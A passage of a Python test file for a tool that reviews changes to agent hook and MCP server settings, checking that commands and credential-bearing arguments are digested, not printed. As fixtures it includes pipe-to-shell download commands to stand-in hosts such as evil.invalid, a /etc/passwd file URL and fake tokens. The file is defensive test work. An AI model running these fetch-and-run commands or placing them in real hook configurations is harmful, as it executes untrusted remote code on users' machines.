+"""#819: a hook row names its matcher, command and timeout; an MCP row its launch arguments. + +A hook row used to read `PostToolUse → PostToolUse` whether the edit was to the +matcher, the command or the timeout, and an MCP row could not show a version pin +moving to `@latest`, because the grants carried none of it: only `config_sha256` +saw the edit. Host-grants `0.7` publishes bounded detail on the hook and +`mcp_server` grants, and the shared capability rows render the difference. + +No command or argument text is published (PM decision, 2026-09-23): four +review cycles each found a credential inside free-form shell text that a +redaction rule missed, so a hook command is published as its executable's +name and a digest of the whole command, and an MCP server's arguments as a +package specification of a strict shape and a digest of the rest. + +What is pinned here: + +- the four shapes from the issue, on every text route (`diff`, `verify`, the PR + comment, `check`) and in the JSON that publishes the presentation + (`review.changes[].change` in `diff --json` and `verifier.json`), with every + row value and the row count unchanged; +- that no command or argument text reaches any artifact — the inventory, a + saved baseline, drift, `diff` text and JSON, `check`, `verify` and every + file it writes, the PR comment — for every payload earlier review cycles + found a leak in, and for plain argument words too; +- the executable-name and package-shape rules, and the digests, which move + only when `config_sha256` does; +- that the detail is display only: grant equality and the inventory digests + leave it out, so a `0.6` baseline compares as it did and may be re-saved, + and a saved baseline holds none of it; +- a reorder never claims the handlers are the same, and long entries never + push a line `1.1.0` kept out of the PR comment: a row, the coverage block, + the review question, the reproduction or the advisory; +- that plugin-selected and Codex hooks keep their loading basis, and a + declaration outside the documented shape names the limit instead of a guess. +""" + +from __future__ import annotations + +import hashlib +import json +from collections import Counter +from pathlib import Path + +import pytest +from jsonschema import Draft202012Validator + +from agents_shipgate.core.capability_diff_rows import capability_diff_rows, review_changes +from agents_shipgate.core.host_grants import ( + DETAIL_NOT_SHOWN, + DISPLAY_ONLY_GRANT_FIELDS, + MAX_DETAIL_MATCHER_CHARS, + MAX_DETAIL_MATCHER_INPUT_CHARS, + MAX_DETAIL_WORD_CHARS, + MAX_HOOK_HANDLERS, + HostStaticParseCache, + build_host_boundary_snapshot, + build_host_drift_payload, + build_host_grants_baseline, + compared_grant, + host_grants_sha256, + load_host_grants_baseline, + normalized_host_grants, + redacted_config_sha256, +) +from agents_shipgate.report.host_comparison import ( + ENTRIES_SHORTENED, + ENTRY_MIN_CHARS, + MARKDOWN_COVERAGE_MAX_CHARS, + coverage_budget, + entry_text, + host_comparison_lines, + presented_changes, + with_entries_in_room, +) +from agents_shipgate.schemas.host_comparison import HostComparison +from agents_shipgate.schemas.host_grants import HostGrantsBaselineV6 +from tests.test_host_diff_review_changes import ( + _check, + _diff, + _git, + _invoke, + _plain, + _repository, + _table_entry, + _verify, + _write, +) + +ROOT = Path(__file__).resolve().parents[1] +SETTINGS = ".claude/settings.json" +HOOK_HEADER = "⚠ high widened claude-code .claude/settings.json" +MCP_HEADER = "⚠ high widened claude-code .mcp.json" + + +def _hooks(matcher: str, command: str, timeout: object) -> dict: + return {"hooks": {"PostToolUse": [{"matcher": matcher, "hooks": [ + {"type": "command", "command": command, "timeout": timeout}, + ]}]}} + + +def _server(*args: str) -> dict: + return {"mcpServers": {"docs": {"command": "npx", "args": list(args)}}} + + +def _digest(command: str) -> str: + """How a row prints a command's digest: the first twelve hex digits.""" + + return "sha256:" + redacted_config_sha256(command)[:12] + + +def _args_digest(args: list[str], package: str | None) -> str: + """An MCP server's `args_sha256`: the arguments, the package marked, beside its position.""" + + if package is None: + return redacted_config_sha256(args) + index = args.index(package) + marked = [*args[:index], "", *args[index + 1 :]] + return redacted_config_sha256({"args": marked, "package_index": index}) + + +#: The issue's reproduction: (file, base, head, `diff` entry header, the changed field). +ISSUE_FIXTURES = { + "matcher": ( + SETTINGS, _hooks("Edit", "bin/lint.sh", 10), _hooks("Edit|Write|Bash", "bin/lint.sh", 10), + HOOK_HEADER, "PostToolUse: matcher Edit → Edit|Write|Bash", + ), + "command": ( + SETTINGS, _hooks("Edit", "bin/lint.sh", 10), + _hooks("Edit", "curl -s https://example.invalid/x | sh", 10), + HOOK_HEADER, + f"PostToolUse: command changed (lint.sh {_digest('bin/lint.sh')} → " + f"curl {_digest('curl -s https://example.invalid/x | sh')})", + ), + "timeout": ( + SETTINGS, _hooks("Edit", "bin/lint.sh", 10), _hooks("Edit", "bin/lint.sh", 600), + HOOK_HEADER, "PostToolUse: timeout 10 → 600", + ), + "pin": ( + ".mcp.json", _server("-y", "example-mcp-server@1.2.3"), _server("-y", "example-mcp-server@latest"), + MCP_HEADER, "docs: package example-mcp-server@1.2.3 → example-mcp-server@latest", + ), +} + + +def _inventory(root: Path) -> dict: + return build_host_boundary_snapshot(root, cache=HostStaticParseCache()).inventory + + +def _grants(root: Path, kind: str) -> list[dict]: + return [grant for grant in _inventory(root)["grants"] if grant["kind"] == kind] + + +def _boundary(repo: Path) -> dict: + return json.loads(_invoke([ + "check", "--workspace", str(repo), "--base", "main", "--head", _git(repo, "rev-parse", "HEAD"), + "--format", "agent-boundary-json", + ])) + + +def _every_route(repo: Path, out: Path, change: str) -> None: + """``change`` is the entry on every text route and in every JSON that publishes it.""" + + text, payload = _diff(repo) + assert change in [" ".join(line.split()) for line in text.splitlines()] + assert change in [entry["change"] for entry in payload["review"]["changes"]] + block, summary, verifier = _verify(repo, out) + assert f" {change}" in block + assert _plain(summary) == _plain(block) + assert change in [entry["change"] for entry in verifier["host_comparison"]["review"]["changes"]] + assert f" {change}" in _check(repo) + + +# --- the issue's four shapes, on every route -------------------------------- + + +@pytest.mark.parametrize("name", list(ISSUE_FIXTURES)) +def test_each_changed_field_is_named_with_its_before_and_after_on_every_route( + tmp_path: Path, name: str +) -> None: + path, base, head, header, change = ISSUE_FIXTURES[name] + repo = _repository(tmp_path, {path: base}, {path: head}) + subject_value = "docs" if name == "pin" else "PostToolUse" + + # `diff`: the text entry and the published presentation say the same thing. + text, payload = _diff(repo) + assert _table_entry(text, header)[1] == change + [published] = payload["review"]["changes"] + assert published["change"] == change + # The row itself is what `1.1.0` published: one row, the same values. + assert [(row["before"], row["after"], row["direction"]) for row in payload["rows"]] == [ + (subject_value, subject_value, "widened") + ] + + # `verify`'s text, the PR comment and `verifier.json`. + block, summary, verifier = _verify(repo, tmp_path / "out") + assert block[2] == f" {change}" + assert _plain(summary) == _plain(block) + assert verifier["host_comparison"]["review"]["changes"][0]["change"] == change + assert [row["after"] for row in verifier["host_comparison"]["rows"]] == [subject_value] + + # `check`'s text reads the same rows; its boundary result carries rows alone. + assert f" {change}" in _check(repo) + assert [(row["before"], row["after"]) for row in _boundary(repo)["rows"]] == [(subject_value, subject_value)] + + +def test_the_grants_publish_the_detail_the_rows_render(tmp_path: Path) -> None: + root = tmp_path / "repo" + _write(root, SETTINGS, _hooks("Edit|Write", "bin/lint.sh --fix", 30)) + _write(root, ".mcp.json", _server("-y", "example-mcp-server@1.2.3", "--port", "8080")) + + [hook] = _grants(root, "hook") + assert hook["handlers"] == [{ + "matcher": "Edit|Write", + "command": {"executable": "lint.sh", "sha256": redacted_config_sha256("bin/lint.sh --fix")}, + "timeout": 30, + }] + assert hook["omitted_handlers"] == 0 + # The digest is of the command as `config_sha256`'s input holds it: here, + # with nothing to redact, the command's canonical JSON string. + expected = hashlib.sha256(json.dumps("bin/lint.sh --fix").encode("utf-8")).hexdigest() + assert hook["handlers"][0]["command"]["sha256"] == expected + [server] = _grants(root, "mcp_server") + assert server["package"] == "example-mcp-server@1.2.3" + # Every other argument is digested, the package replaced by its marker and + # its position digested beside them. + assert server["args_sha256"] == redacted_config_sha256( + {"args": ["-y", "", "--port", "8080"], "package_index": 1} + ) + assert "args" not in server and "omitted_args" not in server + + inventory = _inventory(root) + baseline = build_host_grants_baseline(inventory) + # A saved baseline holds the grants as comparisons read them. + assert baseline["inventory"]["grants"] == [compared_grant(grant) for grant in inventory["grants"]] + drift = build_host_drift_payload(baseline=baseline, inventory=inventory, baseline_file="b.json") + for name, payload in (("inventory", inventory), ("baseline", baseline), ("drift", drift)): + schema = json.loads((ROOT / f"docs/host-grants-{name}-schema.v0.7.json").read_text()) + Draft202012Validator(schema).validate(payload) + + +def test_an_added_and_a_removed_hook_name_their_handlers(tmp_path: Path) -> None: + base = _hooks("Edit", "bin/lint.sh", 10) + head = {"hooks": { + "SessionEnd": [{"hooks": [{"type": "command", "command": "bin/cleanup.sh"}]}], + }} + repo = _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) + + text, payload = _diff(repo) + assert _table_entry(text, "⚠ high added claude-code .claude/settings.json")[1] == ( + f"SessionEnd (command cleanup.sh {_digest('bin/cleanup.sh')})" + ) + assert _table_entry(text, "high removed claude-code .claude/settings.json")[1] == ( + f"PostToolUse (matcher Edit; command lint.sh {_digest('bin/lint.sh')}; timeout 10) → gone" + ) + assert sorted((row["before"], row["after"]) for row in payload["rows"]) == [ + ("PostToolUse", "—"), ("—", "SessionEnd"), + ] + + +def _pre_tool_use(*handlers: dict) -> dict: + return {"hooks": {"PreToolUse": [{"matcher": "Bash", "hooks": list(handlers)}]}} + + +def test_several_handlers_name_which_one_changed(tmp_path: Path) -> None: + def hooks(timeout: int) -> dict: + return {"hooks": {"PreToolUse": [ + {"matcher": "Bash", "hooks": [{"type": "command", "command": "bin/guard.sh"}]}, + {"matcher": "Edit", "hooks": [{"type": "command", "command": "bin/fmt.sh", "timeout": timeout}]}, + ]}} + + added = {"hooks": {"PreToolUse": [ + *hooks(5)["hooks"]["PreToolUse"], + {"matcher": "Write", "hooks": [{"type": "command", "command": "bin/scan.sh"}]}, + ]}} + for name, head, change in ( + ("timeout", hooks(50), "PreToolUse: handler 2 timeout 5 → 50"), + ("added", added, f"PreToolUse: +handler (matcher Write, command scan.sh {_digest('bin/scan.sh')})"), + ): + (tmp_path / name).mkdir() + repo = _repository(tmp_path / name, {SETTINGS: hooks(5)}, {SETTINGS: head}) + text, _ = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == change, name + + +#: What a reorder says: equal published handlers never establish equal +#: handlers, since a setting such as `async` is not published (#819 review, +#: cycle 4). +REORDERED = ( + "PreToolUse: the published handlers in a different order; a detail this output does not " + "show may also differ, such as another hook setting or a redacted or shortened matcher or " + "timeout" +) + + +def test_a_reorder_says_a_detail_it_does_not_show_may_also_differ_on_every_route(tmp_path: Path) -> None: + """`bin/a.sh`, `bin/lint.sh` (`async: false`) → `bin/lint.sh` (`async: true`), `bin/a.sh` (#819 review, cycle 4). + + Every route printed `the same handlers in a different order`, which the + hidden `async` edit made false. + """ + + base = _pre_tool_use( + {"type": "command", "command": "bin/a.sh"}, + {"type": "command", "command": "bin/lint.sh", "async": False}, + ) + head = _pre_tool_use( + {"type": "command", "command": "bin/lint.sh", "async": True}, + {"type": "command", "command": "bin/a.sh"}, + ) + repo = _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) + _every_route(repo, tmp_path / "out", REORDERED) + assert "the same handlers" not in _diff(repo)[0] + + +def test_a_reorder_with_a_command_edit_past_the_old_word_bound_names_both_commands(tmp_path: Path) -> None: + """The edit sat past the eighth word, so the published handlers matched as a set (#819 review, cycle 4). + + Every route printed `the same handlers in a different order`. The digest + covers the whole command, so the edit is a command change. + """ + + safe, evil = "tool a b c d e f g h ./checks/safe.sh", "tool a b c d e f g h ./checks/evil.sh" + base = _pre_tool_use({"type": "command", "command": safe}, {"type": "command", "command": "bin/lint.sh"}) + head = _pre_tool_use({"type": "command", "command": "bin/lint.sh"}, {"type": "command", "command": evil}) + repo = _repository(tmp_path, {SETTINGS: base}, {SETTINGS: head}) + change = ( + f"PreToolUse: handler 1 command changed (tool {_digest(safe)} → lint.sh {_digest('bin/lint.sh')}); " + f"handler 2 command changed (lint.sh {_digest('bin/lint.sh')} → tool {_digest(evil)})" + ) + _every_route(repo, tmp_path / "out", change) + assert "different order" not in _diff(repo)[0] + + +def test_a_timeout_written_as_another_number_names_both(tmp_path: Path) -> None: + """`5` and `5.0` are two published values, so the entry names them, not "no difference".""" + + repo = _repository( + tmp_path, {SETTINGS: _hooks("Edit", "bin/lint.sh", 5)}, {SETTINGS: _hooks("Edit", "bin/lint.sh", 5.0)} + ) + text, payload = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == "PostToolUse: timeout 5 → 5.0" + assert len(payload["rows"]) == 1 + + +@pytest.mark.parametrize( + ("base", "head", "change"), + [ + (5, "5", 'PostToolUse: timeout 5 → "5"'), + (5, "1e+100", 'PostToolUse: timeout 5 → "1e+100"'), + (5, "5s", 'PostToolUse: timeout 5 → "5s"'), + # A boolean or a non-finite number and the word a string spells for + # it published alike and read "no difference" (#819 review, cycle 6). + (True, "true", 'PostToolUse: timeout true → "true"'), + (float("inf"), "inf", 'PostToolUse: timeout → "inf"'), + (float("nan"), "nan", 'PostToolUse: timeout → "nan"'), + ], +) +def test_a_timeout_written_as_text_is_quoted(tmp_path: Path, base: object, head: str, change: str) -> None: + """`"timeout": 5` → `"5"` read `timeout 5 → 5` (#819 review, cycle 5), and `true` → `"true"` no difference (cycle 6).""" + + repo = _repository( + tmp_path, {SETTINGS: _hooks("Edit", "bin/lint.sh", base)}, {SETTINGS: _hooks("Edit", "bin/lint.sh", head)} + ) + [hook] = _grants(repo, "hook") + assert hook["handlers"][0]["timeout"] == head + _every_route(repo, tmp_path / "out", change) + + +#: A timeout of one followed by 400 zeros: an integer no float can hold, which +#: `math.isfinite` raised `OverflowError` on (#819 review, cycle 2). Its text +#: is 401 digits, more than the 309 of the largest float. +HUGE_TIMEOUT = 10**400 + + +def test_an_over_long_timeout_integer_is_published_as_bounded_text_on_every_route(tmp_path: Path) -> None: + """Every route that read the hook exited 1, and `verify` 4 with no PR comment or `verifier.json`.""" + + head = json.dumps(_hooks("Edit", "bin/lint.sh", 10)).replace(": 10}", f": {HUGE_TIMEOUT}}}") + assert str(HUGE_TIMEOUT) in head + repo = _repository(tmp_path, {SETTINGS: _hooks("Edit", "bin/lint.sh", 10)}, {SETTINGS: head}) + shown = "1" + "0" * (MAX_DETAIL_WORD_CHARS - 2) + "…" + change = f"PostToolUse: timeout 10 → {shown}" + + [hook] = _grants(repo, "hook") + assert hook["handlers"][0]["timeout"] == shown + inventory = json.loads(_invoke(["audit", "--host", "--workspace", str(repo), "--json"])) + assert [grant["handlers"][0]["timeout"] for grant in inventory["grants"] if grant["kind"] == "hook"] == [shown] + + text, payload = _diff(repo) + assert _table_entry(text, HOOK_HEADER)[1] == change + assert [entry["change"] for entry in payload["review"]["changes"]] == [change] + assert [(row["before"], row["after"]) for row in payload["rows"]] == [("PostToolUse", "PostToolUse")] + block, summary, verifier = _verify(repo, tmp_path / "out") + assert block[2] == f" {change}" + assert _plain(summary) == _plain(block) + assert verifier["host_comparison"]["review"]["changes"][0]["change"] == change + assert f" {change}" in _check(repo) + assert [(row["before"], row["after"]) for row in _boundary(repo)["rows"]] == [("PostToolUse", "PostToolUse")] + + +@pytest.mark.parametrize( + ("timeout", "published"), + [ + (30, 30), + (-5, -5), + (2.5, 2.5), + (10 ** (MAX_DETAIL_WORD_CHARS - 1), 10 ** (MAX_DETAIL_WORD_CHARS - 1)), + (10**MAX_DETAIL_WORD_CHARS, "1" + "0" * (MAX_DETAIL_WORD_CHARS - 2) + "…"), + (-(10**MAX_DETAIL_WORD_CHARS), "-1" + "0" * (MAX_DETAIL_WORD_CHARS - 3) + "…"), + (2**400, str(2**400)[: MAX_DETAIL_WORD_CHARS - 1] + "…"), + (HUGE_TIMEOUT, "1" + "0" * (MAX_DETAIL_WORD_CHARS - 2) + "…"), + # JSON has no spelling for these, and `inf` is a word a string may be. + (float("inf"), DETAIL_NOT_SHOWN), + (float("-inf"), DETAIL_NOT_SHOWN), + (float("nan"), DETAIL_NOT_SHOWN), + (True, True), + (False, False), + ("30s", "30s"), + ("true", "true"), + # Text that is not a plain token is not published. + ("--token tokentimeout-canary", DETAIL_NOT_SHOWN), + ("30 seconds", DETAIL_NOT_SHOWN), + ([30], DETAIL_NOT_SHOWN), + ({"seconds": 30}, DETAIL_NOT_SHOWN), + (None, None), + ], +) +def test_a_timeout_is_the_number_it_is_or_its_bounded_text(timeout: object, published: object) -> None: + from agents_shipgate.core.host_grants import _hook_timeout + + shown = _hook_timeout(timeout) + assert (shown, type(shown)) == (published, type(published)) + + +def test_an_mcp_server_added_with_a_package_names_it(tmp_path: Path) -> None: + repo = _repository( + tmp_path, + {".mcp.json": {"mcpServers": {}}}, + {".mcp.json": _server("-y", "example-mcp-server@2.0.0", "--root", "/srv/private-docs")}, + ) + text, _ = _diff(repo) + assert _table_entry(text, "⚠ high added claude-code .mcp.json")[1] == ( + "docs (command name npx; package example-mcp-server@2.0.0)" + ) + assert "private-docs" not in text + + +def test_an_argument_edit_names_the_digests_and_never_the_argument(tmp_path: Path) -> None: + repo = _repository( + tmp_path, + {".mcp.json": _server("-y", "example-mcp-server@1.2.3", "--root", "/srv/public")}, + {".mcp.json": _server("-y", "example-mcp-server@1.2.3", "--root", "/srv/private-docs")}, + ) + [server] = _grants(repo, "mcp_server") + base = _args_digest(["-y", "example-mcp-server@1.2.3", "--root", "/srv/public"], "example-mcp-server@1.2.3")[:12] + change = f"docs: launch arguments changed (sha256:{base} → sha256:{server['args_sha256'][:12]})" + _every_route(repo, tmp_path / "out", change) + text, payload = _diff(repo) + assert "private-docs" not in text + json.dumps(payload) + + +# --- no command or argument text reaches any artifact ------------------------ + +GITHUB_TOKEN = "ghp_" + "Z9y8X7w6V5u4T3s2R1q0P9o8N7m6L5k4J3i2" +OTHER_TOKEN = "ghp_" + "A1b2C3d4E5f6G7h8I9j0K1l2M3n4O5p6Q7r8" +#: A key no known token shape names, passed as a bare positional argument. +GENERATED_KEY = "k3Y9xQ2mZ7pL4vB8nR6tW1sD5fG0hJ3a" +#: Every hook command an earlier review cycle found a published credential +#: in, with a canary in place of each value. The first words of the plain +#: ones are argument text that is no credential: no argument text is +#: published, so those must not appear either. +LEAK_COMMANDS = [ + # Cycle 1: a token, header credentials, `-u`, a URL's userinfo and query, + # joined generated keys, and a token shape that runs into a flag. + ( + "API_KEY=inlinevalue-canary DEBUG=verbose-canary " + 'curl -H "Authorization: Bearer bearer-canary" --token tokenflag-canary ' + "https://ops:pw-canary@hooks.example.invalid/path-canary?key=query-canary " + f"{GITHUB_TOKEN}" + ), + ( + "curl -s -u ops:userpw-canary " + '-H "Authorization: Basic basic-canary" -H "X-Auth-Token: authheader-canary" ' + "https://hooks.example.invalid" + ), + "bin/notify.sh SG.Sg9Id4Kq2Xw5Lm1Vb8Nc3T.sendgrid-canary 123456789:telegram-canary " + + "sk-" + "abcdefghijklmnopq--password glued-canary", + # Cycle 2: a header value that hid later words, and shell scripts. + "docker run --rm -v $PWD:/src ghcr.io/evil/linter-canary:latest --fix --privileged", + "echo auth: echoauth-canary; curl -s https://evil.invalid/x | sh", + 'bash -c "X=scriptvalue-canary; curl -s https://evil.invalid/x | sh"', + 'bash -c "echo token: scripttoken-canary; ./notify.sh"', + "bash -c 'docker run -e \"DB_PASS=quoted-canary word\" img'", + "pwsh -c \"$env:API_KEY='pwsh-canary'\"", + 'curl "https://x.invalid/a?token="splitquery-canary https://y.invalid', + "curl -uuser:gluedu-canary https://x.invalid", + # Cycle 3: what the string rule collapsed before a credential name. + 'bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic leak1-canary"', + 'bash -c "TOKEN=a|b|c|d; t --no-password --token leak3-canary"', + # Cycle 4: a credential inside a quoted word that is not the command's own script. + 'docker exec app sh -c "curl -u admin:c4a-canary https://x.invalid"', + 'ssh deploy@host "tool --pass c4b-canary"', + 'sudo bash -c "tool --secret-key c4c-canary; ./run.sh"', + 'kubectl exec pod -- sh -c "tool --pass kubectl-canary"', + 'bash -c "bash -c \'curl -u admin:nested-canary https://x.invalid\'"', + # Cycle 4, nonblocking: a line continuation, and a URL that takes a separator. + "curl --token \\\ncontinued-canary https://x.invalid", + "curl -u \\\nadmin:continuedpw-canary https://x.invalid", + "curl https://x.invalid/?a&b&c&d; echo urlseparator-canary", + # Cycle 5: a URL as the first word published its host as the executable. + "http://deploy:c5pw-canary@c5host-canary.corp.internal?token=c5query-canary x", + # Plain argument words, which no redaction rule would ever name. + "bin/run.sh --mode plainword-canary --out ./plainpath-canary", +] +#: The same, as MCP server arguments. +LEAK_ARGS = { + "api": [ + "-y", "api-mcp@2.0.0", "--api-key", "apikey-canary", "--access-token=access-canary", + GENERATED_KEY, "-e", "DB_PASSWORD=envarg-canary", OTHER_TOKEN, + ], + "headers": [ + "--header", "Authorization: Basic basicarg-canary", "--header", "api-key: apikeyheader-canary", + "serve", "token", "baretoken-canary", "--auth", "authflag-canary", + "--brave_api_key", "underscore-canary", + ], + "tokens": [ + "AccountName=acct;AccountKey=azure-canary", "--no-password", "--token", "chained-canary", + "--secret-key", "secretkey-canary", "--pass", "pass-canary", "-p", "shortpw-canary", + ], + "shell": ["-c", "curl https://x.invalid/?a&b&c&d; t --no-password --token leak2-canary"], + "exec": ["exec", "app", "sh", "-c", "gh auth login token c4d-canary"], + "plain": ["serve", "--dir", "/srv/plainarg-canary", "--label", "plainlabel-canary"], + # A credential shaped like a package after a flag that is no runner's. + "shaped": ["--pass", "hunter-canary@1.2.3", "--token", "tok-canary@1.2.3"], +} +#: What must never appear, whatever case an output writes it in. +SECRETS = ("canary", GITHUB_TOKEN.lower(), OTHER_TOKEN.lower(), GENERATED_KEY.lower()) + + +def _leak_repo(tmp_path: Path) -> Path: + events = [ + "PreToolUse", "PostToolUse", "Notification", "UserPromptSubmit", "Stop", "SubagentStop", + "PreCompact", "SessionStart", "SessionEnd", + ] + groups: dict[str, list] = {event: [] for event in events} + for index, command in enumerate(LEAK_COMMANDS): + groups[events[index % len(events)]].append({"hooks": [{"type": "command", "command": command}]}) + servers = {name: {"command": "bash" if name == "shell" else "docker" if name == "exec" else "npx", "args": args} + for name, args in LEAK_ARGS.items()} + return _repository( + tmp_path, + { + SETTINGS: _hooks("Edit", "bin/lint.sh", 10), + ".mcp.json": {"mcpServers": {"api": {"command": "npx", "args": ["-y", "api-mcp@1.0.0"]}}}, + }, + {SETTINGS: {"hooks": groups}, ".mcp.json": {"mcpServers": servers}}, + ) + + +def _assert_no_secret(outputs: list[str]) -> None: + for output in outputs: + lowered = output.lower() + for secret in SECRETS: + assert secret not in lowered, (secret, output[max(0, lowered.find(secret) - 200):][:400]) + + +def test_no_command_or_argument_text_reaches_any_output_or_artifact(tmp_path: Path) -> None: + """Every payload of the earlier review cycles, on every route and in every file written. + + The inventory, a saved baseline, a drift payload, `diff` text and JSON, + `check` text and its boundary JSON, `verify` text and every file it + writes (the PR comment and `verifier.json` among them). + """ + + repo = _leak_repo(tmp_path) + out = tmp_path / "out" + text, payload = _diff(repo) + block, summary, verifier = _verify(repo, out) + check = _check(repo) + boundary = json.dumps(_boundary(repo)) + inventory = _invoke(["audit", "--host", "--workspace", str(repo), "--json"]) + artifacts = [path.read_text(encoding="utf-8") for path in sorted(out.rglob("*")) if path.is_file()] + assert any(path.name == "pr-comment.md" for path in out.rglob("*")) + # A baseline saved at the base commit, and drift of the head against it: + # the drift's current side carries the new detail. + _git(repo, "checkout", "-q", "main") + _invoke(["audit", "--host", "--workspace", str(repo), "--save-baseline"]) + _git(repo, "checkout", "-q", "change") + drift = _invoke(["audit", "--host", "--workspace", str(repo), "--drift", "--json"]) + assert json.loads(drift)["changes"] + _invoke(["audit", "--host", "--workspace", str(repo), "--save-baseline"]) + baseline = (repo / ".agents-shipgate/host-grants.json").read_text(encoding="utf-8") + _assert_no_secret([ + text, json.dumps(payload), "\n".join(block), "\n".join(summary), json.dumps(verifier), + "\n".join(check), boundary, inventory, drift, baseline, *artifacts, + ]) + + # What is published instead: an executable's name when it is a plain + # token, a digest, and a package of the strict shape. + hooks = [handler for grant in _grants(repo, "hook") for handler in grant["handlers"]] + assert sorted({handler["command"]["executable"] for handler in hooks}) == sorted({ + DETAIL_NOT_SHOWN, "bash", "curl", "docker", "echo", "kubectl", "notify.sh", "pwsh", "run.sh", + "ssh", "sudo", + }) + assert all(len(handler["command"]["sha256"]) == 64 for handler in hooks) + servers = {grant["server"]: grant for grant in _grants(repo, "mcp_server")} + assert {name: grant["package"] for name, grant in servers.items()} == { + "api": "api-mcp@2.0.0", "headers": None, "tokens": None, "shell": None, "exec": None, + "plain": None, "shaped": None, + } + assert "launch arguments changed" in _table_entry(text, MCP_HEADER)[1] + + +def test_a_rotated_value_the_display_never_redacted_is_still_a_row(tmp_path: Path) -> None: + """The digest sees what `config_sha256` sees: a positional token, `--secret-key`, a header's words after its scheme.""" + + for name, before, after in ( + ("positional", f"bin/a.sh {GITHUB_TOKEN}", f"bin/a.sh {OTHER_TOKEN}"), + ("secret-key", "bin/a.sh --secret-key first-canary", "bin/a.sh --secret-key second-canary"), + ("scheme", 'curl -H "Authorization: Bearer first-canary"', 'curl -H "Authorization: Bearer second-canary"'), + ): + (tmp_path / name).mkdir() + repo = _repository(tmp_path / name, {SETTINGS: _stop_hook(before)}, {SETTINGS: _stop_hook(after)}) + text, payload = _diff(repo) + executable = "a.sh" if name != "scheme" else "curl" + assert _table_entry(text, HOOK_HEADER)[1] == ( + f"Stop: command changed ({executable} {_digest(before)} → {executable} {_digest(after)})" + ), name + assert len(payload["rows"]) == 1 + _assert_no_secret([text, json.dumps(payload)]) + + +def _stop_hook(command: str) -> dict: + return {"hooks": {"Stop": [{"hooks": [{"type": "command", "command": command}]}]}} + + +#: Values `config_sha256`'s own input redacts, rotated: (file, base, head). +DIGEST_REDACTED_ROTATIONS = { + "hook --token": (SETTINGS, _stop_hook("bin/a.sh --token first-canary"), _stop_hook("bin/a.sh --token second-canary")), + "hook --api-key": (SETTINGS, _stop_hook("bin/a.sh --api-key first-canary"), _stop_hook("bin/a.sh --api-key second-canary")), + "hook --password=": (SETTINGS, _stop_hook("bin/a.sh --password=first-canary"), _stop_hook("bin/a.sh --password=second-canary")), + "hook X-Api-Key:": ( + SETTINGS, + _stop_hook('curl -H "X-Api-Key: first-canary" https://example.invalid'), + _stop_hook('curl -H "X-Api-Key: second-canary" https://example.invalid'), + ), + "mcp --token": (".mcp.json", _server("-y", "pkg", "--token", "first-canary"), _server("-y", "pkg", "--token", "second-canary")), + "mcp --password": (".mcp.json", _server("--password", "first-canary"), _server("--password", "second-canary")), + "mcp --no-password --token": ( + ".mcp.json", + _server("--no-password", "--token", "first-canary"), + _server("--no-password", "--token", "second-canary"), + ), +} + + +@pytest.mark.parametrize("name", list(DIGEST_REDACTED_ROTATIONS)) +def test_a_value_the_digest_already_redacts_stays_quiet_as_before(tmp_path: Path, name: str) -> None: + """A value `config_sha256`'s input redacts moves no published digest, so it adds no row. + + What the documentation says of it: it is not compared, so a change + confined to it is no row, as on 1.1.0. + """ + + path, base, head = DIGEST_REDACTED_ROTATIONS[name] + repo = _repository(tmp_path, {path: base}, {path: head}) + text, payload = _diff(repo) + assert payload["rows"] == [] + assert "canary" not in text + + +@pytest.mark.parametrize( + ("command", "executable"), + [ + ("bin/lint.sh --fix", "lint.sh"), + ('"$CLAUDE_PROJECT_DIR"/.claude/hooks/lint.sh --fix', "lint.sh"), + ('"$CLAUDE_PROJECT_DIR/.claude/hooks/lint.sh" --fix', "lint.sh"), + ("/bin/sh ${CLAUDE_PROJECT_DIR:-.}/scripts/x.sh", "sh"), + ("C:\\tools\\lint.exe --fix", "lint.exe"), + ("npx -y prettier@3.0.0 --write", "npx"), + ("python3.12 -m tool", "python3.12"), + ("g++ -o out main.cc", "g++"), + # A leading assignment, a quoted name with a blank, a URL, a token + # shape, an operator or a substitution is never named. + ("API_KEY=first-canary curl https://x.invalid", DETAIL_NOT_SHOWN), + ("'my tool.sh' --fix", DETAIL_NOT_SHOWN), + ("https://hooks.example.invalid/secret-path/run.sh", DETAIL_NOT_SHOWN), + # A URL with no path published its host: the digest's input keeps a + # URL's host and drops its userinfo, query and path (#819 review, cycle 5). + ("https://evil.invalid", DETAIL_NOT_SHOWN), + ("https://evil.invalid?token=abc", DETAIL_NOT_SHOWN), + ("http://user:pw@secret-host.internal", DETAIL_NOT_SHOWN), + ("http://deploy:hunter2@build-cache.corp.internal?token=abc123 x", DETAIL_NOT_SHOWN), + ("'https://evil.invalid'", DETAIL_NOT_SHOWN), + ("ftp://files.internal", DETAIL_NOT_SHOWN), + ("file:///etc/passwd", DETAIL_NOT_SHOWN), + (f"{GITHUB_TOKEN} run", DETAIL_NOT_SHOWN), + ("$(cat /tmp/x) run", DETAIL_NOT_SHOWN), + ("|| true", DETAIL_NOT_SHOWN), + # A shell reserved word opens a compound command; it names no program. + ('if [ -f x ]; then ./x; fi', DETAIL_NOT_SHOWN), + ("for f in *.py; do ruff $f; done", DETAIL_NOT_SHOWN), + ("time ./build.sh", DETAIL_NOT_SHOWN), + ("x" * 81, DETAIL_NOT_SHOWN), + ], +) +def test_the_executable_is_a_plain_token_or_not_named(command: str, executable: str) -> None: + from agents_shipgate.core.host_grants import _hook_command + + assert _hook_command(command) == {"executable": executable, "sha256": redacted_config_sha256(command)} + + +@pytest.mark.parametrize( + ("args", "package"), + [ + (["-y", "example-mcp-server@1.2.3"], "example-mcp-server@1.2.3"), + (["-y", "example-mcp-server@latest"], "example-mcp-server@latest"), + (["-y", "@upstash/context7-mcp@1.0.14"], "@upstash/context7-mcp@1.0.14"), + (["--yes", "ruleblast@2.5.11", "--mcp"], "ruleblast@2.5.11"), + (["pkg@^1.2.0"], "pkg@^1.2.0"), + (["pkg@1.2.3-beta.1"], "pkg@1.2.3-beta.1"), + (["mcp-outline==1.10.1"], "mcp-outline==1.10.1"), + (["--from", "mcp-server-fetch[cli]==2025.1.3", "mcp-server-fetch"], "mcp-server-fetch[cli]==2025.1.3"), + # `uvx --with` names an extra requirement beside the server, not the + # server (#819 review, cycle 5). + (["--with", "requests==2.31.0", "mcp-foo==1.2.0"], 